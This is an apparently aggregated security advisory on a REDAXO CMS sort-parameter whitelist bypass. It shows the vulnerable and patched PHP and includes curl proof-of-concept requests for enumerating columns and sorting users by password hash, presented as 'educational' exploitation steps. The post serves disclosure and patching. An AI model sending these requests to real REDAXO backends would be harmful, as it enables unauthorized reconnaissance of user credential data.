Listen to this Post
The rex_list component in REDAXO reads the SQL sort column directly from the sort GET parameter.
It does not validate that value against columns declared sortable via setColumnSortable().
The vulnerable method is getSortColumn() in redaxo/src/core/lib/list.php around lines 976-982.
It returns rex_request(‘sort’, ‘string’, $default) when the list name matches.
No whitelist check is performed before returning the requested sort column.
The prepareQuery() method in redaxo/src/core/lib/list.php around lines 899-911 uses that value.
It wraps the value with rex_sql::escapeIdentifier(), which adds backticks.
Backtick wrapping prevents classical SQL injection because the identifier cannot break out.
However, it still allows an authenticated backend user to control the ORDER BY column.
The users list queries the rex_user table.
That table contains sensitive columns such as password, previous_passwords, and password_change_required.
Those columns are not included in the SELECT list of the users list query.
Because ORDER BY can reference columns in the FROM tables, an attacker can sort by password.
This silently reorders users by their Argon2 password hash.
The attacker can also request a non-existent column name.
MySQL then raises an Unknown column exception.
The exception message is propagated to the user.
The message can confirm or deny whether a column exists.
This enables error-based column enumeration.
An authenticated non-admin backend user can enumerate database column names.
The user can manipulate query ordering to include sensitive unselected columns.
This is not arbitrary SQL execution due to backtick escaping.
It is an information disclosure vulnerability.
It enables targeted further attacks against the REDAXO backend.
The fix validates the sort request parameter against the whitelist.
The whitelist contains columns registered with setColumnSortable().
The patched getSortColumn() checks hasColumnOption($requested, REX_LIST_OPT_SORT).
If the requested column is not sortable, the default is returned.
This prevents ORDER BY on unregistered and sensitive columns.
The vulnerability is in REDAXO’s list rendering and sorting logic.
DailyCVE Form:
Platform: REDAXO CMS
Version: Not specified
Vulnerability : Sort whitelist bypass
Severity: Medium
date: Not specified
Prediction: Patch date unknown
What Undercode Say:
Analytics:
public function getSortColumn($default = null)
{
if (rex_request('list', 'string') == $this->getName()) {
return rex_request('sort', 'string', $default);
}
return $default;
}
protected function prepareQuery($query, array $defaultSort = [])
{
$sortColumn = $this->getSortColumn();
if ('' != $sortColumn) {
$sql = rex_sql::factory($this->db);
$sortColumn = $sql->escapeIdentifier($sortColumn);
if ($defaultSort || false === stripos($query, ' ORDER BY ')) {
$query .= ' ORDER BY ' . $sortColumn . ' ' . $sortType;
}
}
}
curl -G 'http://target/redaxo/index.php' \ --data-urlencode 'page=users' \ --data-urlencode 'list=<list_name>' \ --data-urlencode 'sort=nonexistent_col' \ --data-urlencode 'sorttype=asc'
Unknown column 'nonexistent_col' in 'order clause'
curl -G 'http://target/redaxo/index.php' \ --data-urlencode 'page=users' \ --data-urlencode 'list=<list_name>' \ --data-urlencode 'sort=password' \ --data-urlencode 'sorttype=asc'
public function getSortColumn($default = null)
{
if (rex_request('list', 'string') == $this->getName()) {
$requested = rex_request('sort', 'string', $default);
if ($requested !== null && $this->hasColumnOption($requested, REX_LIST_OPT_SORT)) {
return $requested;
}
}
return $default;
}
How Exploit: (Educational Purposes!)
Authenticate as low-privileged backend user. Enumerate columns. curl -G 'http://target/redaxo/index.php' \ --data-urlencode 'page=users' \ --data-urlencode 'list=<list_name>' \ --data-urlencode 'sort=nonexistent_col' \ --data-urlencode 'sorttype=asc'
Sort by password hash. curl -G 'http://target/redaxo/index.php' \ --data-urlencode 'page=users' \ --data-urlencode 'list=<list_name>' \ --data-urlencode 'sort=password' \ --data-urlencode 'sorttype=asc'
Observe silent reordering by Argon2 password hash.
Protection: from this CVE
public function getSortColumn($default = null)
{
if (rex_request('list', 'string') == $this->getName()) {
$requested = rex_request('sort', 'string', $default);
if ($requested !== null && $this->hasColumnOption($requested, REX_LIST_OPT_SORT)) {
return $requested;
}
}
return $default;
}
Impact:
Authenticated backend users (non-admin) can enumerate database column names of internal tables via error messages.
They can manipulate query ordering to include sensitive unselected columns.
This does not allow arbitrary SQL execution due to backtick escaping.
It constitutes an information disclosure vulnerability enabling targeted further attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
